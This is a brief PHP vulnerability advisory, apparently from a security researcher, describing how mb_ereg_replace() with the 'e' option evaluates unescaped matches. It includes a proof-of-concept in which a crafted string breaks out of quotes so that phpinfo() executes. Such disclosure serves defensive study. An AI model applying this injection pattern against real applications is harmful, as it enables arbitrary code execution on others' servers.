mb_ereg(i)_replace() evaluate replacement string vulnerability
 
by ryat#www.80vul.com

when option parameter set e, matchs not be escaped.

ex:

<?php

function hi80vul() {}

$str = '\', phpinfo(), \'';
mb_ereg_replace('^(.*)$', 'hi80vul(\'\1\')', $str, 'e');

?>

phpinfo() will be evaluated.

// matchs not be escaped
